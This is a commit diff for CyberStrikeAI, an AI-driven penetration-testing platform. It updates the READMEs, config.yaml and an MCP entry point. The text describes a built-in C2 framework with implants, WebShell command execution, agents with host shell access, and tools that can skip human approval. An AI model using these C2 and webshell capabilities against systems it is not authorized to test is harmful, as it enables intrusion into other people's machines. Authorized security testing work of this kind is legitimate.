Update version number to v1.6.44

README.md

@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
 
 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
 
-
 ## Interface & Integration Preview
 
 <div align="center">
@@ -113,13 +112,13 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 - 🔒 Password-protected web UI, audit logs, and SQLite persistence
 - 📚 Knowledge base (RAG) with embedding-based vector retrieval (cosine similarity), optional **Eino Compose** indexing pipeline, and configurable post-retrieval budgets / reranking hooks
 - 📁 Conversation grouping with pinning, rename, and batch management
-- 📂 **Project management**: group conversations and vulnerabilities by project; **shared facts** (project blackboard) persist cross-session context (targets, env, auth notes) with auto-injection for agents and MCP tools (`upsert_project_fact`, `get_project_fact`, …)
+- 📂 **Project management**: shared facts (blackboard) across sessions, `upsert_project_fact` + `links` to chain paths; attack-chain and project fact graph views
 - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
 - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
 - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
-- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
+- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
 - 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
-- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
+- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
 - 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
 - 🧑‍⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
 - 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
@@ -190,15 +189,21 @@ The `run.sh` script will automatically:
      ```
    - Or edit `config.yaml` directly before launching
 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
-3. **Install security tools (optional)** - Install all tools declared under `tools/`:
+3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
+
+   **macOS (Homebrew):**
    ```bash
-   ./install-tools.sh              # install missing tools (best on Kali/Debian/Ubuntu)
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
-   ./install-tools.sh --check      # check only, no install
-   ./install-tools.sh --list       # show per-tool status
-   ./install-tools.sh --only nmap,gau   # install selected tools only
    ```
-   On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
+
-   AI automatically falls back to alternatives when a tool is missing.
+   **Linux (Kali / Debian / Ubuntu):**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
+   ```
+
+   See the `tools/` directory for the full list; refer to each tool's official docs for install details.
 
 **Alternative Launch Methods:**
 ```bash
@@ -261,7 +266,7 @@ Requirements / tips:
 - **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
 - **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
 - **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
-- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
+- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
 - **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
 - **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
 
@@ -289,6 +294,7 @@ Requirements / tips:
   - **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
 - **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
 - **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
+- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
 - **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
 
 ### Skills System (Agent Skills + Eino)
@@ -296,7 +302,7 @@ Requirements / tips:
 - **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
 - **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
 - **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
-- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
+- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
 - **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
 
 **Creating a skill:**
@@ -306,7 +312,7 @@ Requirements / tips:
 ### Tool Orchestration & Extensions
 - **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
 - **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
-- **Large-result pagination** – outputs beyond 200 KB are stored as artifacts retrievable through the `query_execution_result` tool with paging, filters, and regex search.
+- **Large tool outputs** – outputs beyond `reduction_max_length_for_trunc` are summarized via Eino reduction with full content persisted under `tmp/reduction/`; use `read_file` on the path in `<persisted-output>`.
 - **Result compression** – multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
 
 **Creating a custom tool (typical flow)**
@@ -544,7 +550,12 @@ multi_agent:
   orchestrator_instruction: ""  # Deep; used when orchestrator.md body is empty
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
+  # eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
+project:
+  enabled: true              # Enable project blackboard & fact MCP tools
+  fact_index_max_runes: 65000
+  fact_summary_max_runes: 24000
+  default_inject_deprecated: false
 ```
 
 ### Tool Definition Example (`tools/nmap.yaml`)

README_CN.md

@@ -28,7 +28,6 @@
 
 CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力，以及面向 **授权场景** 的 **内置轻量 C2（Command & Control，指挥与控制）** 能力（监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同）。通过原生 MCP 协议与 AI 智能体，支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化，为安全团队提供可审计、可追溯、可协作的专业测试环境。
 
-
 ## 界面与集成预览
 
 <div align="center">
@@ -112,13 +111,13 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 - 🔒 Web 登录保护、审计日志、SQLite 持久化
 - 📚 知识库（RAG）：向量嵌入与余弦相似度检索（与 Eino `retriever.Retriever` 语义一致），可选 **Eino Compose** 索引流水线及检索后处理（预算、重排等配置项）
 - 📁 对话分组管理：支持分组创建、置顶、重命名、删除等操作
-- 📂 **项目管理**：按项目归类对话与漏洞；**共享事实**（项目黑板）在多会话间沉淀目标/环境/认证等认知，自动注入 Agent 上下文，支持 MCP 工具读写（`upsert_project_fact`、`get_project_fact` 等）
+- 📂 **项目管理**：共享事实（黑板）跨会话沉淀认知，`upsert_project_fact` + `links` 串联攻击路径；聊天攻击链与项目事实图可视化
 - 🛡️ 漏洞管理功能：完整的漏洞 CRUD 操作，支持严重程度分级、状态流转、按对话/严重程度/状态过滤，以及统计看板
 - 📋 批量任务管理：创建任务队列，批量添加任务，依次顺序执行，支持任务编辑与状态跟踪
 - 🎭 角色化测试：预设安全测试角色（渗透测试、CTF、Web 应用扫描等），支持自定义提示词和工具限制
-- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
+- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史；压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`（保留完整 user/assistant/tool 轮次，省略静态 system）。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
 - 🖼️ **视觉分析（`analyze_image`）**：独立 Vision 模型（如 `qwen-vl-max`），MCP 工具分析本地截图/验证码/UI；图片仅在单次 VL 调用中出现，对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
-- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
+- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、**plantask**（`TaskCreate` / `TaskList` 任务板，落在 `skills_dir/.eino/plantask/`）、reduction、文件型 **checkpoint**（`checkpoint_dir`）、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
 - 📱 **机器人**：支持钉钉、飞书长连接，在手机端与 CyberStrikeAI 对话（配置与命令详见 [机器人使用说明](docs/robot.md)）
 - 🧑‍⚖️ **人机协同（HITL）**：对话页侧栏配置协同模式与免审批工具白名单；全局列表在 `config.yaml` 的 `hitl.tool_whitelist`；点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效；导航 **人机协同** 页处理待审批工具调用
 - 🐚 **WebShell 管理**：添加与管理 WebShell 连接（兼容冰蝎/蚁剑等），通过虚拟终端执行命令、内置文件管理进行文件操作，并提供按连接维度保存历史的 AI 助手标签页；支持 PHP/ASP/ASPX/JSP 及自定义类型，可配置请求方法与命令参数。
@@ -189,15 +188,21 @@ chmod +x run.sh && ./run.sh
      ```
    - 或启动前直接编辑 `config.yaml` 文件
 2. **登录系统** - 使用控制台显示的自动生成密码（或在 `config.yaml` 中设置 `auth.password`）
-3. **安装安全工具（可选）** - 一键安装 `tools/` 目录声明的全部工具：
+3. **安装安全工具（可选）** - 按需安装 `tools/` 目录中的工具；未安装的工具在执行时会自动跳过或改用替代方案。常用示例：
+
+   **macOS（Homebrew）：**
    ```bash
-   ./install-tools.sh              # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
-   ./install-tools.sh --check      # 仅检查, 不安装
-   ./install-tools.sh --list       # 列出各工具安装状态
-   ./install-tools.sh --only nmap,gau   # 只装指定工具
    ```
-   macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
+
-   未安装的工具在执行时会自动跳过或改用替代方案。
+   **Linux（Kali / Debian / Ubuntu）：**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # 部分发行版需自行安装：ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
+   ```
+
+   完整工具列表见 `tools/` 目录；各工具安装方式以官方文档为准。
 
 **其他启动方式：**
 ```bash
@@ -259,7 +264,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **预设角色**：系统内置 12+ 个预设的安全测试角色（渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等），位于 `roles/` 目录。
 - **自定义提示词**：每个角色可定义 `user_prompt`，会在用户消息前自动添加，引导 AI 采用特定的测试方法和关注重点。
 - **工具限制**：角色可指定 `tools` 列表，限制可用工具，实现聚焦的测试流程（如 CTF 角色限制为 CTF 专用工具）。
-- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
+- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**（tool_search、plantask、reduction、checkpoint、Summarization 转录等）与本机 read_file/glob/grep 等见文档。
 - **轻松创建角色**：通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
 - **Web 界面集成**：在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
 
@@ -287,6 +292,7 @@ go build -o cyberstrike-ai cmd/server/main.go
   - **子代理**（**deep** / **supervisor**）：其余 `*.md`；标成 orchestrator 的不会进入 `task` 列表。
 - **界面管理**：**Agents → Agent 管理**；API `/api/multi-agent/markdown-agents`。
 - **配置项**：`multi_agent`：`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并（同 `id` → Markdown 优先）、**`eino_skills`**、**`eino_middleware`**。
+- **长任务与恢复**：`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**（与基于 trace 的「中断继续」不同）。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**，摘要消息中带路径，模型可用 `read_file` 找回扫描输出等压缩前细节。
 - **更多细节**：[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)（流式、机器人、批量、中间件差异）。
 
 ### Skills 技能系统（Agent Skills + Eino）
@@ -294,7 +300,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **运行侧重构**：**`skills_dir`** 为技能包唯一根目录；**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**（模型按 **name** 调用 `skill`，而非一次性注入全文）。由 **`multi_agent.eino_skills`** 控制：`disable`、`filesystem_tools`（本机读写与 Shell）、`skill_tool_name`。
 - **Eino / 知识流水线**：技能包可切分为 `schema.Document`，供 `FilesystemSkillsRetriever`（`skills.AsEinoRetriever()`）在 **compose** 图（如索引/编排）中使用。
 - **HTTP 管理**：`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维；**模型侧** 多代理走 **`skill`** 工具，而非 MCP。
-- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、`plantask`（结构化任务；默认落在 `skills_dir` 下子目录）、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
+- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、**`plantask`**（Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`；JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`；**全部**任务标为 completed 后 Eino 会清理任务文件）、`reduction`、**`checkpoint_dir`**（如 `data/eino-checkpoints/`）、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
 - **自带示例**：`skills/cyberstrike-eino-demo/`；说明见 `skills/README.md`。
 
 **新建技能：**
@@ -304,7 +310,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 ### 工具编排与扩展
 - `tools/*.yaml` 定义命令、参数、提示词与元数据，可热加载。
 - `security.tools_dir` 指向目录即可批量启用；仍支持在主配置里内联定义。
-- **大结果分页**：超过 200KB 的输出会保存为附件，可通过 `query_execution_result` 工具分页、过滤、正则检索。
+- **大工具输出**：超过 `reduction_max_length_for_trunc` 时由 Eino reduction 摘要，完整内容落盘至 `tmp/reduction/`；按 `<persisted-output>` 中的路径用 `read_file` 读取。
 - **结果压缩/摘要**：多兆字节日志可先压缩或生成摘要再写入 SQLite，减小档案体积。
 
 **自定义工具的一般步骤**
@@ -542,7 +548,12 @@ multi_agent:
   orchestrator_instruction: ""  # Deep；orchestrator.md 正文为空时使用
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
+  # eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
+project:
+  enabled: true              # 启用项目黑板与事实 MCP 工具
+  fact_index_max_runes: 65000
+  fact_summary_max_runes: 24000
+  default_inject_deprecated: false
 ```
 
 ### 工具模版示例（`tools/nmap.yaml`）

cmd/mcp-stdio/main.go

@@ -5,7 +5,6 @@ import (
 	"cyberstrike-ai/internal/logger"
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/security"
-	"cyberstrike-ai/internal/storage"
 	"flag"
 	"fmt"
 	"os"
@@ -33,23 +32,6 @@ func main() {
 	// 创建安全工具执行器
 	executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
 
-	// 初始化结果存储（与 internal/app/app.go 同样的逻辑）。
-	// stdio 模式下原本不初始化，导致 'exec' 等查询型工具报"结果存储未初始化"。
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
-		os.Exit(1)
-	}
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
-		os.Exit(1)
-	}
-	executor.SetResultStorage(resultStorage)
-
 	// 注册工具
 	executor.RegisterTools(mcpServer)
 
@@ -61,4 +43,3 @@ func main() {
 		os.Exit(1)
 	}
 }
-

config.yaml

@@ -10,7 +10,7 @@
 # ============================================
 
 # 前端显示的版本号（可选，不填则显示默认版本）
-version: "v1.6.34"
+version: "v1.6.44"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
@@ -40,6 +40,9 @@ audit:
   retention_days: 15 # 0 表示不自动清理
   max_detail_bytes: 8192
   auth_failure_cooldown_seconds: 60 # 同一 IP 登录/改密失败审计最短间隔（秒）；未配置时默认 60；-1 关闭节流
+# MCP 状态监控执行记录保留（tool_executions 表）
+monitor:
+  retention_days: 90 # 省略时默认 90；0 表示不自动清理
 # ============================================
 # 对话相关配置
 # ============================================
@@ -58,7 +61,7 @@ openai:
   api_key: sk-xxxxxxx # API 密钥（必填）
   model: qwen3-max # 模型名称（必填）
   max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制（内存压缩和攻击链构建会共用此配置）
-  # Eino 路径模型推理：DeepSeek/OpenAI 为 thinking / reasoning_effort 等；provider 为 claude 时合并为 Anthropic 顶层 thinking（extended thinking），mode: off 关闭
+  # Eino 路径模型推理：DeepSeek/OpenAI 为 thinking / reasoning_effort；Claude 4.6+ 为 adaptive + output_config.effort（仅显式配置 effort 时下发）；3.7 为 enabled+budget_tokens:10000（文档示例），effort 不映射，自定义预算用 extra_request_fields
   reasoning:
     mode: on # auto | on | off；off 时不附加任何推理扩展字段
     effort: high # low | medium | high | max | xhigh（最高档：OpenAI 常用 xhigh，部分网关用 max，原样下发）；空表示不指定
@@ -92,8 +95,6 @@ fofa:
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
   max_iterations: 12000 # 全局最大迭代次数（单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用；agents/*.md 中 max_iterations>0 可单独覆盖）
-  large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
-  result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
   tool_timeout_minutes: 60 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
   # system_prompt_path: prompts/single-agent.md # 可选：单代理系统提示文件（相对本配置文件所在目录）；非空且可读时替换内置提示
 
@@ -129,8 +130,8 @@ multi_agent:
     tool_search_min_tools: 20 # 达到该数量才启用 tool_search（避免工具很少时多此一举）；与 always_visible 配合使用
     tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数（顺序与角色工具列表一致）；其余工具进入动态池，需 tool_search 解锁
     tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单（优先于 always_visible 数量策略）
-    plantask_enable: false # true：主代理（Deep / Supervisor 主）挂载 TaskCreate/Get/Update/List；需 eino_skills 可用且 skills_dir 存在，否则仅打日志并跳过
+    plantask_enable: true # P0：主代理挂载 TaskCreate/Get/Update/List 结构化任务板；需 eino_skills 可用且 skills_dir 存在
-    plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录，其下再按会话 ID 分子目录存放
+    plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir，按会话分子目录：skills/.eino/plantask/<conversationId>/
     reduction_enable: true # true：大工具输出截断/落盘以控上下文；依赖与 plantask 相同的 eino local 写盘后端，无后端时不挂载
     reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数（bytes）时截断并落盘（由 reduction 中间件处理）
     reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值（tokens），超阈值时在模型调用前清理旧结果
@@ -143,11 +144,11 @@ multi_agent:
     plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
     plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数（超出截断）
     plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文，早期步骤折叠为标题
-    checkpoint_dir: "" # 非空：为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore，便于中断恢复持久化；Resume 的 HTTP/前端流程需另行对接
+    checkpoint_dir: data/eino-checkpoints # P0：进程崩溃/OOM 后同会话自动 ADK Resume；正常结束会删 .ckpt；与「中断并继续」(last_react_*) 是两套机制
-    run_retry_max_attempts: 0 # >0：429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数；0=默认 10
+    run_retry_max_attempts: 0 # 429/5xx/网络抖动时可退避重试次数（run loop + summarization 共用 isEinoTransientRunError）；0=默认 10
     run_retry_max_backoff_sec: 0 # 单次退避上限秒数；0=默认 30
-    deep_output_key: "" # 非空：将最终助手输出写入 adk session 的键名（Deep 与 Supervisor 主代理）；空表示不写入
+    deep_output_key: final_answer # P0：Eino session 写入最终助手结论（框架内部；Deep/Supervisor 主/eino_single）
-    deep_model_retry_max_retries: 0 # >0：ChatModel 调用失败时的框架级最大重试次数（Deep 与 Supervisor 主）；0：不重试
+    deep_model_retry_max_retries: 0 # 已废弃，请用 run_retry_max_attempts；保留字段仅为兼容旧配置
     task_tool_description_prefix: "" # 非空：仅 Deep 的 task 工具使用自定义描述前缀，运行时会拼接子代理名称；空则走 Eino 默认生成逻辑
   # Eino callbacks + OpenTelemetry：框架级 span（与 Zap 对齐）；默认不向终端用户 UI 推 eino_trace_*（见 sse_trace_to_client）
   eino_callbacks:
@@ -310,7 +311,9 @@ roles_dir: roles # 角色配置文件目录（相对于配置文件所在目录
 project:
   enabled: true
   # default_project_id: "" # 可选：机器人/批量任务创建对话时的默认项目 ID
-  fact_index_max_runes: 6500
+  fact_index_max_runes: 65000
-  fact_summary_max_runes: 2400
+  # 事实关系速览段预算（从索引总预算中预留）
